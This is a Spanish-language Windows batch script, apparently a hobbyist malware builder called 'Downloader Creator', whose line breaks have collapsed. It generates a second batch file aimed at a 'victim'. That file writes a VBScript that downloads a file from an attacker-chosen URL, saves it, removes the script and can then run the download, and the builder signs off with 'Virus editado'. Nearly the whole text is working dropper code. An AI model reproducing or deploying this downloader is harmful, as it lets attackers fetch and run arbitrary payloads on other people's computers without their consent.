echo offcolor 1Amode con cols=65lines=44title Downloader Creator Full 0.1vclsecho.echo ***********************************************echo ***** Downloader Creator Full 0.1v *****echo ***** Por The Maxu *****echo ***********************************************echo.echo.echo.echo Primero selecione el nombre del bat a crear:set /p name=echo @echo off > C:\%name%.batecho.echo Archivo Creado en C:\ con el nombre: %name%.batpause > nul:mainclsecho ***********************************************echo ***** Downloader Creator Full 0.1v *****echo ***** Por The Maxu *****echo ***********************************************echo.echo 1. Descargar archivo en la victimaecho 2. Salirecho.set /p opc=Elije una:if %opc%==1 goto downif %opc%==2 exitgoto main:downclsecho Escriba la direcion de la descargaset /p direciondescarga=echo Escriba la ruta en la que se guardara(ej: C:\imagen.png o C:\programa.exe)set /p guardardescarga=echo Escriba un nombre para utilizar el vbsset /p descarga=echo echo Const adTypeBinary = 1 ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Const adSaveCreateOverWrite = 2 ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Dim BinaryStream ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Set BinaryStream = CreateObject("ADODB.Stream") ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.Type = adTypeBinary ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.Open ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Function BinaryGetURL(URL) ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Dim Http ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Http.Open "GET", URL, False ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Http.Send ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryGetURL = Http.ResponseBody ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo End Function ^>^>c:\%descarga%.vbs >> C:\%name%.batecho CScript //nologo c:\%descarga%.vbs "%direciondescarga%" "%guardardescarga%" >> C:\%name%.batecho Del c:\%descarga%.vbs >> C:\%name%.batgoto ejecute:ejecuteclsecho desea que se ejecute despues de la descarga?echo 1.siecho 2.noecho.set /p siono=if %siono%==1 goto ejecutarif %siono%==2 goto main:ejecutarclsecho start %guardardescarga% >> C:\%name%.batecho Ok, Virus editado.pause > nulgoto main